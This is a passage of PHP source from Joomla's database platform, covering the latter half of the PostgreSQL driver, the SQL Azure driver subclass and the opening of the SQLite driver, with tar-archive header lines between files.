return pg_num_rows((int) $cur ? $cur : $this->cursor);
}
/**
* Get the current or query, or new JDatabaseQuery object.
*
* @param boolean $new False to return the last query set, True to
return a new JDatabaseQuery object.
* @param boolean $asObj False to return last query as string, true to
get JDatabaseQueryPostgresql object.
*
* @return JDatabaseQuery The current query object or a new object
extending the JDatabaseQuery class.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getQuery($new = false, $asObj = false)
{
if ($new)
{
$this->queryObject = new JDatabaseQueryPostgresql($this);
return $this->queryObject;
}
else
{
if ($asObj)
{
return $this->queryObject;
}
else
{
return $this->sql;
}
}
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* This is unsupported by PostgreSQL.
*
* @param mixed $tables A table name or a list of table names.
*
* @return string An empty char because this function is not supported
by PostgreSQL.
*
* @since 3.0.0
*/
public function getTableCreate($tables)
{
return '';
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table. For
PostgreSQL may start with a schema.
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields for the database table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$result = array();
$tableSub = $this->replacePrefix($table);
$fn = explode('.', $tableSub);
if (count($fn) === 2)
{
$schema = $fn[0];
$tableSub = $fn[1];
}
else
{
$schema = $this->getDefaultSchema();
}
$this->setQuery('
SELECT a.attname AS "column_name",
pg_catalog.format_type(a.atttypid, a.atttypmod) as "type",
CASE WHEN a.attnotnull IS TRUE
THEN \'NO\'
ELSE \'YES\'
END AS "null",
CASE WHEN pg_catalog.pg_get_expr(adef.adbin, adef.adrelid, true) IS NOT
NULL
THEN pg_catalog.pg_get_expr(adef.adbin, adef.adrelid, true)
END as "Default",
CASE WHEN pg_catalog.col_description(a.attrelid, a.attnum) IS NULL
THEN \'\'
ELSE pg_catalog.col_description(a.attrelid, a.attnum)
END AS "comments"
FROM pg_catalog.pg_attribute a
LEFT JOIN pg_catalog.pg_attrdef adef ON a.attrelid=adef.adrelid AND
a.attnum=adef.adnum
LEFT JOIN pg_catalog.pg_type t ON a.atttypid=t.oid
WHERE a.attrelid =
(SELECT oid FROM pg_catalog.pg_class WHERE relname=' .
$this->quote($tableSub) . '
AND relnamespace = (SELECT oid FROM pg_catalog.pg_namespace WHERE
nspname = ' . $this->quote($schema) . ')
)
AND a.attnum > 0 AND NOT a.attisdropped
ORDER BY a.attnum'
);
$fields = $this->loadObjectList();
if ($typeOnly)
{
foreach ($fields as $field)
{
$result[$field->column_name] = preg_replace('/[(0-9)]/',
'', $field->type);
}
}
else
{
foreach ($fields as $field)
{
if (stristr(strtolower($field->type), 'character
varying'))
{
$field->Default = '';
}
if (stristr(strtolower($field->type), 'text'))
{
$field->Default = '';
}
// Do some dirty translation to MySQL output.
// TODO: Come up with and implement a standard across databases.
$result[$field->column_name] = (object) array(
'column_name' => $field->column_name,
'type' => $field->type,
'null' => $field->null,
'Default' => $field->Default,
'comments' => '',
'Field' => $field->column_name,
'Type' => $field->type,
'Null' => $field->null,
// TODO: Improve query above to return primary key info as well
// 'Key' => ($field->PK == '1' ?
'PRI' : '')
);
}
}
/* Change Postgresql's NULL::* type with PHP's null one */
foreach ($fields as $field)
{
if (preg_match('/^NULL::*/', $field->Default))
{
$field->Default = null;
}
}
return $result;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
// To check if table exists and prevent SQL injection
$tableList = $this->getTableList();
if (in_array($table, $tableList))
{
// Get the details columns information.
$this->setQuery('
SELECT indexname AS "idxName", indisprimary AS
"isPrimary", indisunique AS "isUnique",
CASE WHEN indisprimary = true THEN
( SELECT \'ALTER TABLE \' || tablename || \' ADD
\' || pg_catalog.pg_get_constraintdef(const.oid, true)
FROM pg_constraint AS const WHERE const.conname=
pgClassFirst.relname )
ELSE pg_catalog.pg_get_indexdef(indexrelid, 0, true)
END AS "Query"
FROM pg_indexes
LEFT JOIN pg_class AS pgClassFirst ON indexname=pgClassFirst.relname
LEFT JOIN pg_index AS pgIndex ON pgClassFirst.oid=pgIndex.indexrelid
WHERE tablename=' . $this->quote($table) . ' ORDER BY
indkey'
);
$keys = $this->loadObjectList();
return $keys;
}
return false;
}
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableList()
{
$this->connect();
$query = $this->getQuery(true)
->select('table_name')
->from('information_schema.tables')
->where('table_type=' . $this->quote('BASE
TABLE'))
->where('table_schema NOT IN (' .
$this->quote('pg_catalog') . ', ' .
$this->quote('information_schema') . ')')
->order('table_name ASC');
$this->setQuery($query);
$tables = $this->loadColumn();
return $tables;
}
/**
* Get the details list of sequences for a table.
*
* @param string $table The name of the table.
*
* @return array An array of sequences specification for the table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableSequences($table)
{
$this->connect();
// To check if table exists and prevent SQL injection
$tableList = $this->getTableList();
if (in_array($table, $tableList))
{
$name = array(
's.relname', 'n.nspname', 't.relname',
'a.attname', 'info.data_type',
'info.minimum_value', 'info.maximum_value',
'info.increment', 'info.cycle_option',
);
$as = array('sequence', 'schema', 'table',
'column', 'data_type', 'minimum_value',
'maximum_value', 'increment',
'cycle_option');
if (version_compare($this->getVersion(), '9.1.0') >= 0)
{
$name[] .= 'info.start_value';
$as[] .= 'start_value';
}
// Get the details columns information.
$query = $this->getQuery(true)
->select($this->quoteName($name, $as))
->from('pg_class AS s')
->join('LEFT', "pg_depend d ON d.objid=s.oid AND
d.classid='pg_class'::regclass AND
d.refclassid='pg_class'::regclass")
->join('LEFT', 'pg_class t ON t.oid=d.refobjid')
->join('LEFT', 'pg_namespace n ON
n.oid=t.relnamespace')
->join('LEFT', 'pg_attribute a ON a.attrelid=t.oid
AND a.attnum=d.refobjsubid')
->join('LEFT', 'information_schema.sequences AS info
ON info.sequence_name=s.relname')
->where("s.relkind='S' AND d.deptype='a'
AND t.relname=" . $this->quote($table));
$this->setQuery($query);
$seq = $this->loadObjectList();
return $seq;
}
return false;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 3.0.0
*/
public function getVersion()
{
$this->connect();
$version = pg_version($this->connection);
return $version['server'];
}
/**
* Method to get the auto-incremented value from the last INSERT
statement.
* To be called after the INSERT statement, it's MANDATORY to have a
sequence on
* every primary key table.
*
* To get the auto incremented value it's possible to call this
function after
* INSERT INTO query, or use INSERT INTO with RETURNING clause.
*
* @example with insertid() call:
* $query = $this->getQuery(true)
* ->insert('jos_dbtest')
* ->columns('title,start_date,description')
* ->values("'testTitle2nd','1971-01-01','testDescription2nd'");
* $this->setQuery($query);
* $this->execute();
* $id = $this->insertid();
*
* @example with RETURNING clause:
* $query = $this->getQuery(true)
* ->insert('jos_dbtest')
* ->columns('title,start_date,description')
* ->values("'testTitle2nd','1971-01-01','testDescription2nd'")
* ->returning('id');
* $this->setQuery($query);
* $id = $this->loadResult();
*
* @return integer The value of the auto-increment field from the last
inserted row.
*
* @since 3.0.0
*/
public function insertid()
{
$this->connect();
$insertQuery = $this->getQuery(false, true);
$table = $insertQuery->__get('insert')->getElements();
/* find sequence column name */
$colNameQuery = $this->getQuery(true);
$colNameQuery->select('column_default')
->from('information_schema.columns')
->where('table_name=' .
$this->quote($this->replacePrefix(str_replace('"',
'', $table[0]))), 'AND')
->where("column_default LIKE '%nextval%'");
$this->setQuery($colNameQuery);
$colName = $this->loadRow();
$changedColName = str_replace('nextval', 'currval',
$colName);
$insertidQuery = $this->getQuery(true);
$insertidQuery->select($changedColName);
$this->setQuery($insertidQuery);
$insertVal = $this->loadRow();
return $insertVal[0];
}
/**
* Locks a table in the database.
*
* @param string $tableName The name of the table to unlock.
*
* @return JDatabaseDriverPostgresql Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function lockTable($tableName)
{
$this->transactionStart();
$this->setQuery('LOCK TABLE ' .
$this->quoteName($tableName) . ' IN ACCESS EXCLUSIVE
MODE')->execute();
return $this;
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function execute()
{
$this->connect();
// Take a local copy so that we don't modify the original query and
cause issues later
$query = $this->replacePrefix((string) $this->sql);
if (!($this->sql instanceof JDatabaseQuery) &&
($this->limit > 0 || $this->offset > 0))
{
$query .= ' LIMIT ' . $this->limit . ' OFFSET ' .
$this->offset;
}
if (!is_resource($this->connection))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
// Increment the query counter.
$this->count++;
// Reset the error values.
$this->errorNum = 0;
$this->errorMsg = '';
// If debugging is enabled then let's log the query.
if ($this->debug)
{
// Add the query to the object queue.
$this->log[] = $query;
JLog::add($query, JLog::DEBUG, 'databasequery');
$this->timings[] = microtime(true);
if (is_object($this->cursor))
{
// Avoid warning if result already freed by third-party library
@$this->freeResult();
}
$memoryBefore = memory_get_usage();
}
// Execute the query. Error suppression is used here to prevent
warnings/notices that the connection has been lost.
$this->cursor = @pg_query($this->connection, $query);
if ($this->debug)
{
$this->timings[] = microtime(true);
if (defined('DEBUG_BACKTRACE_IGNORE_ARGS'))
{
$this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
}
else
{
$this->callStacks[] = debug_backtrace();
}
$this->callStacks[count($this->callStacks) -
1][0]['memory'] = array(
$memoryBefore,
memory_get_usage(),
is_resource($this->cursor) ? $this->getNumRows($this->cursor)
: null,
);
}
// If an error occurred handle it.
if (!$this->cursor)
{
// Get the error number and message before we execute any more queries.
$errorNum = $this->getErrorNumber();
$errorMsg = $this->getErrorMessage();
// Check if the server was disconnected.
if (!$this->connected())
{
try
{
// Attempt to reconnect.
$this->connection = null;
$this->connect();
}
// If connect fails, ignore that exception and throw the normal
exception.
catch (RuntimeException $e)
{
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage();
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
null, $e);
}
// Since we were able to reconnect, run the query again.
return $this->execute();
}
// The server was not disconnected.
else
{
// Get the error number and message from before we tried to reconnect.
$this->errorNum = $errorNum;
$this->errorMsg = $errorMsg;
// Throw the normal query exception.
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg);
}
}
return $this->cursor;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by PostgreSQL.
* @param string $prefix Not used by PostgreSQL.
*
* @return JDatabaseDriverPostgresql Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->connect();
// To check if table exists and prevent SQL injection
$tableList = $this->getTableList();
// Origin Table does not exist
if (!in_array($oldTable, $tableList))
{
// Origin Table not found
throw new RuntimeException('Table not found in Postgresql
database.');
}
else
{
/* Rename indexes */
$this->setQuery(
'SELECT relname
FROM pg_class
WHERE oid IN (
SELECT indexrelid
FROM pg_index, pg_class
WHERE pg_class.relname=' . $this->quote($oldTable, true) .
'
AND pg_class.oid=pg_index.indrelid );'
);
$oldIndexes = $this->loadColumn();
foreach ($oldIndexes as $oldIndex)
{
$changedIdxName = str_replace($oldTable, $newTable, $oldIndex);
$this->setQuery('ALTER INDEX ' .
$this->escape($oldIndex) . ' RENAME TO ' .
$this->escape($changedIdxName));
$this->execute();
}
/* Rename sequence */
$this->setQuery(
'SELECT relname
FROM pg_class
WHERE relkind = \'S\'
AND relnamespace IN (
SELECT oid
FROM pg_namespace
WHERE nspname NOT LIKE \'pg_%\'
AND nspname != \'information_schema\'
)
AND relname LIKE \'%' . $oldTable . '%\' ;'
);
$oldSequences = $this->loadColumn();
foreach ($oldSequences as $oldSequence)
{
$changedSequenceName = str_replace($oldTable, $newTable, $oldSequence);
$this->setQuery('ALTER SEQUENCE ' .
$this->escape($oldSequence) . ' RENAME TO ' .
$this->escape($changedSequenceName));
$this->execute();
}
/* Rename table */
$this->setQuery('ALTER TABLE ' .
$this->escape($oldTable) . ' RENAME TO ' .
$this->escape($newTable));
$this->execute();
}
return true;
}
/**
* Selects the database, but redundant for PostgreSQL
*
* @param string $database Database name to select.
*
* @return boolean Always true
*
* @since 3.0.0
*/
public function select($database)
{
return true;
}
/**
* Custom settings for UTF support
*
* @return integer Zero on success, -1 on failure
*
* @since 3.0.0
*/
public function setUtf()
{
$this->connect();
if (!function_exists('pg_set_client_encoding'))
{
return -1;
}
return pg_set_client_encoding($this->connection, 'UTF8');
}
/**
* This function return a field value as a prepared string to be used in a
SQL statement.
*
* @param array $columns Array of table's column returned by
::getTableColumns.
* @param string $fieldName The table field's name.
* @param string $fieldValue The variable value to quote and return.
*
* @return string The quoted string.
*
* @since 3.0.0
*/
public function sqlValue($columns, $fieldName, $fieldValue)
{
switch ($columns[$fieldName])
{
case 'boolean':
$val = 'NULL';
if ($fieldValue == 't')
{
$val = 'TRUE';
}
elseif ($fieldValue == 'f')
{
$val = 'FALSE';
}
break;
case 'bigint':
case 'bigserial':
case 'integer':
case 'money':
case 'numeric':
case 'real':
case 'smallint':
case 'serial':
case 'numeric,':
$val = strlen($fieldValue) == 0 ? 'NULL' : $fieldValue;
break;
case 'date':
case 'timestamp without time zone':
if (empty($fieldValue))
{
$fieldValue = $this->getNullDate();
}
$val = $this->quote($fieldValue);
break;
default:
$val = $this->quote($fieldValue);
break;
}
return $val;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('COMMIT')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$this->transactionDepth--;
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('ROLLBACK')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
$this->setQuery('RELEASE SAVEPOINT ' .
$this->quoteName($savepoint))->execute();
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.0.0
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
if ($this->setQuery('START TRANSACTION')->execute())
{
$this->transactionDepth = 1;
}
return;
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchArray($cursor = null)
{
return pg_fetch_row($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchAssoc($cursor = null)
{
return pg_fetch_assoc($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class The class name to use for the returned row
object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject($cursor = null, $class =
'stdClass')
{
return pg_fetch_object(is_null($cursor) ? $this->cursor : $cursor,
null, $class);
}
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult($cursor = null)
{
pg_free_result($cursor ? $cursor : $this->cursor);
}
/**
* Inserts a row into a table based on an object's properties.
*
* @param string $table The name of the database table to insert
into.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param string $key The name of the primary key. If provided the
object property is updated.
*
* @return boolean True on success.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function insertObject($table, &$object, $key = null)
{
$columns = $this->getTableColumns($table);
$fields = array();
$values = array();
// Iterate over the object variables to build the query fields and
values.
foreach (get_object_vars($object) as $k => $v)
{
// Only process non-null scalars.
if (is_array($v) or is_object($v) or $v === null)
{
continue;
}
// Ignore any internal fields or primary keys with value 0.
if (($k[0] == '_') || ($k == $key && (($v === 0) ||
($v === '0'))))
{
continue;
}
// Prepare and sanitize the fields and values for the database query.
$fields[] = $this->quoteName($k);
$values[] = $this->sqlValue($columns, $k, $v);
}
// Create the base insert statement.
$query = $this->getQuery(true)
->insert($this->quoteName($table))
->columns($fields)
->values(implode(',', $values));
$retVal = false;
if ($key)
{
$query->returning($key);
// Set the query and execute the insert.
$this->setQuery($query);
$id = $this->loadResult();
if ($id)
{
$object->$key = $id;
$retVal = true;
}
}
else
{
// Set the query and execute the insert.
$this->setQuery($query);
if ($this->execute())
{
$retVal = true;
}
}
return $retVal;
}
/**
* Test to see if the PostgreSQL connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return function_exists('pg_connect');
}
/**
* Returns an array containing database's table list.
*
* @return array The database's table list.
*
* @since 3.0.0
*/
public function showTables()
{
$this->connect();
$query = $this->getQuery(true)
->select('table_name')
->from('information_schema.tables')
->where('table_type = ' . $this->quote('BASE
TABLE'))
->where('table_schema NOT IN (' .
$this->quote('pg_catalog') . ', ' .
$this->quote('information_schema') . ' )');
$this->setQuery($query);
$tableList = $this->loadColumn();
return $tableList;
}
/**
* Get the substring position inside a string
*
* @param string $substring The string being sought
* @param string $string The string/column being searched
*
* @return integer The position of $substring in $string
*
* @since 3.0.0
*/
public function getStringPositionSql($substring, $string)
{
$this->connect();
$query = "SELECT POSITION( $substring IN $string )";
$this->setQuery($query);
$position = $this->loadRow();
return $position['position'];
}
/**
* Generate a random value
*
* @return float The random generated number
*
* @since 3.0.0
*/
public function getRandom()
{
$this->connect();
$this->setQuery('SELECT RANDOM()');
$random = $this->loadAssoc();
return $random['random'];
}
/**
* Get the query string to alter the database character set.
*
* @param string $dbName The database name
*
* @return string The query that alter the database query string
*
* @since 3.0.0
*/
public function getAlterDbCharacterSet($dbName)
{
$query = 'ALTER DATABASE ' . $this->quoteName($dbName) .
' SET CLIENT_ENCODING TO ' . $this->quote('UTF8');
return $query;
}
/**
* Get the query string to create new Database in correct PostgreSQL
syntax.
*
* @param object $options object coming from "initialise"
function to pass user and database name to database driver.
* @param boolean $utf True if the database supports the UTF-8
character set, not used in PostgreSQL "CREATE DATABASE" query.
*
* @return string The query that creates database, owned by
$options['user']
*
* @since 3.0.0
*/
public function getCreateDbQuery($options, $utf)
{
$query = 'CREATE DATABASE ' .
$this->quoteName($options->db_name) . ' OWNER ' .
$this->quoteName($options->db_user);
if ($utf)
{
$query .= ' ENCODING ' . $this->quote('UTF-8');
}
return $query;
}
/**
* This function replaces a string identifier
<var>$prefix</var> with the string held is the
* <var>tablePrefix</var> class variable.
*
* @param string $query The SQL statement to prepare.
* @param string $prefix The common table prefix.
*
* @return string The processed SQL statement.
*
* @since 3.0.0
*/
public function replacePrefix($query, $prefix = '#__')
{
$query = trim($query);
if (strpos($query, '\''))
{
// Sequence name quoted with ' ' but need to be replaced
if (strpos($query, 'currval'))
{
$query = explode('currval', $query);
for ($nIndex = 1, $nIndexMax = count($query); $nIndex < $nIndexMax;
$nIndex += 2)
{
$query[$nIndex] = str_replace($prefix, $this->tablePrefix,
$query[$nIndex]);
}
$query = implode('currval', $query);
}
// Sequence name quoted with ' ' but need to be replaced
if (strpos($query, 'nextval'))
{
$query = explode('nextval', $query);
for ($nIndex = 1, $nIndexMax = count($query); $nIndex < $nIndexMax;
$nIndex += 2)
{
$query[$nIndex] = str_replace($prefix, $this->tablePrefix,
$query[$nIndex]);
}
$query = implode('nextval', $query);
}
// Sequence name quoted with ' ' but need to be replaced
if (strpos($query, 'setval'))
{
$query = explode('setval', $query);
for ($nIndex = 1, $nIndexMax = count($query); $nIndex < $nIndexMax;
$nIndex += 2)
{
$query[$nIndex] = str_replace($prefix, $this->tablePrefix,
$query[$nIndex]);
}
$query = implode('setval', $query);
}
$explodedQuery = explode('\'', $query);
for ($nIndex = 0, $nIndexMax = count($explodedQuery); $nIndex <
$nIndexMax; $nIndex += 2)
{
if (strpos($explodedQuery[$nIndex], $prefix))
{
$explodedQuery[$nIndex] = str_replace($prefix, $this->tablePrefix,
$explodedQuery[$nIndex]);
}
}
$replacedQuery = implode('\'', $explodedQuery);
}
else
{
$replacedQuery = str_replace($prefix, $this->tablePrefix, $query);
}
return $replacedQuery;
}
/**
* Method to release a savepoint.
*
* @param string $savepointName Savepoint's name to release
*
* @return void
*
* @since 3.0.0
*/
public function releaseTransactionSavepoint($savepointName)
{
$this->connect();
$this->setQuery('RELEASE SAVEPOINT ' .
$this->quoteName($this->escape($savepointName)));
$this->execute();
}
/**
* Method to create a savepoint.
*
* @param string $savepointName Savepoint's name to create
*
* @return void
*
* @since 3.0.0
*/
public function transactionSavepoint($savepointName)
{
$this->connect();
$this->setQuery('SAVEPOINT ' .
$this->quoteName($this->escape($savepointName)));
$this->execute();
}
/**
* Unlocks tables in the database, this command does not exist in
PostgreSQL,
* it is automatically done on commit or rollback.
*
* @return JDatabaseDriverPostgresql Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function unlockTables()
{
$this->transactionCommit();
return $this;
}
/**
* Updates a row in a table based on an object's properties.
*
* @param string $table The name of the database table to update.
* @param object &$object A reference to an object whose public
properties match the table fields.
* @param array $key The name of the primary key.
* @param boolean $nulls True to update null fields or false to
ignore them.
*
* @return boolean True on success.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function updateObject($table, &$object, $key, $nulls = false)
{
$columns = $this->getTableColumns($table);
$fields = array();
$where = array();
if (is_string($key))
{
$key = array($key);
}
if (is_object($key))
{
$key = (array) $key;
}
// Create the base update statement.
$statement = 'UPDATE ' . $this->quoteName($table) . '
SET %s WHERE %s';
// Iterate over the object variables to build the query fields/value
pairs.
foreach (get_object_vars($object) as $k => $v)
{
// Only process scalars that are not internal fields.
if (is_array($v) or is_object($v) or $k[0] == '_')
{
continue;
}
// Set the primary key to the WHERE clause instead of a field to update.
if (in_array($k, $key))
{
$key_val = $this->sqlValue($columns, $k, $v);
$where[] = $this->quoteName($k) . '=' . $key_val;
continue;
}
// Prepare and sanitize the fields and values for the database query.
if ($v === null)
{
// If the value is null and we want to update nulls then set it.
if ($nulls)
{
$val = 'NULL';
}
// If the value is null and we do not want to update nulls then ignore
this field.
else
{
continue;
}
}
// The field is not null so we prep it for update.
else
{
$val = $this->sqlValue($columns, $k, $v);
}
// Add the field to be updated.
$fields[] = $this->quoteName($k) . '=' . $val;
}
// We don't have any fields to update.
if (empty($fields))
{
return true;
}
// Set the query and execute the update.
$this->setQuery(sprintf($statement, implode(',', $fields),
implode(' AND ', $where)));
return $this->execute();
}
/**
* Return the actual SQL Error number
*
* @return integer The SQL Error number
*
* @since 3.4.6
*
* @throws \JDatabaseExceptionExecuting Thrown if the global cursor is
false indicating a query failed
*/
protected function getErrorNumber()
{
if ($this->cursor === false)
{
$this->errorMsg = pg_last_error($this->connection);
throw new JDatabaseExceptionExecuting($this->sql,
$this->errorMsg);
}
return (int) pg_result_error_field($this->cursor, PGSQL_DIAG_SQLSTATE)
. ' ';
}
/**
* Return the actual SQL Error message
*
* @return string The SQL Error message
*
* @since 3.4.6
*/
protected function getErrorMessage()
{
$errorMessage = (string) pg_last_error($this->connection);
// Replace the Databaseprefix with `#__` if we are not in Debug
if (!$this->debug)
{
$errorMessage = str_replace($this->tablePrefix, '#__',
$errorMessage);
}
return $errorMessage;
}
/**
* Get the query strings to alter the character set and collation of a
table.
*
* @param string $tableName The name of the table
*
* @return string[] The queries required to alter the table's
character set and collation
*
* @since CMS 3.5.0
*/
public function getAlterTableCharacterSet($tableName)
{
return array();
}
/**
* Return the query string to create new Database.
* Each database driver, other than MySQL, need to override this member to
return correct string.
*
* @param stdClass $options Object used to pass user and database name
to database driver.
* This object must have "db_name" and
"db_user" set.
* @param boolean $utf True if the database supports the UTF-8
character set.
*
* @return string The query that creates database
*
* @since 3.0.1
*/
protected function getCreateDatabaseQuery($options, $utf)
{
return 'CREATE DATABASE ' .
$this->quoteName($options->db_name);
}
/**
* Quotes a binary string to database requirements for use in database
queries.
*
* @param mixed $data A binary string to quote.
*
* @return string The binary quoted input string.
*
* @since 3.9.12
*/
public function quoteBinary($data)
{
return "decode('" . bin2hex($data) . "',
'hex')";
}
/**
* Internal function to get the name of the default schema for the current
PostgreSQL connection.
* That is the schema where tables are created by Joomla.
*
* @return string
*
* @since 3.9.24
*/
private function getDefaultSchema()
{
// Supported since PostgreSQL 7.3
$this->setQuery('SELECT (current_schemas(false))[1]');
return $this->loadResult();
}
}
database/driver/sqlazure.php000064400000001122151171674070012167
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* SQL Server database driver
*
* @link
https://azure.microsoft.com/en-us/documentation/services/sql-database/
* @since 3.0.0
*/
class JDatabaseDriverSqlazure extends JDatabaseDriverSqlsrv
{
/**
* The name of the database driver.
*
* @var string
* @since 3.0.0
*/
public $name = 'sqlazure';
}
database/driver/sqlite.php000064400000027434151171674070011640
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* SQLite database driver
*
* @link https://www.php.net/pdo
* @since 3.0.0
*/
class JDatabaseDriverSqlite extends JDatabaseDriverPdo
{
/**
* The name of the database driver.
*
* @var string
* @since 3.0.0
*/
public $name = 'sqlite';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'sqlite';
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 3.0.0
*/
protected $nameQuote = '`';
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
parent::connect();
$this->connection->sqliteCreateFunction(
'ROW_NUMBER',
function($init = null)
{
static $rownum, $partition;
if ($init !== null)
{
$rownum = $init;
$partition = null;
return $rownum;
}
$args = func_get_args();
array_shift($args);
$partitionBy = $args ? implode(',', $args) : null;
if ($partitionBy === null || $partitionBy === $partition)
{
$rownum++;
}
else
{
$rownum = 1;
$partition = $partitionBy;
}
return $rownum;
}
);
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
public function disconnect()
{
$this->freeResult();
$this->connection = null;
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return JDatabaseDriverSqlite Returns this object to support
chaining.
*
* @since 3.0.0
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$query = $this->getQuery(true);
$this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS
' : '') . $query->quoteName($tableName));
$this->execute();
return $this;
}
/**
* Method to escape a string for usage in an SQLite statement.
*
* Note: Using query objects with bound variables is
* preferable to the below.
*
* @param string $text The string to be escaped.
* @param boolean $extra Unused optional parameter to provide extra
escaping.
*
* @return string The escaped string.
*
* @since 3.0.0
*/
public function escape($text, $extra = false)
{
if (is_int($text))
{
return $text;
}
if (is_float($text))
{
// Force the dot as a decimal point.
return str_replace(',', '.', $text);
}
return SQLite3::escapeString($text);
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 3.0.0
*/
public function getCollation()
{
return $this->charset;
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
return $this->charset;
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* Note: Doesn't appear to have support in SQLite
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableCreate($tables)
{
$this->connect();
// Sanitize input to an array and iterate over the list.
settype($tables, 'array');
return $tables;
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True to only return field types.
*
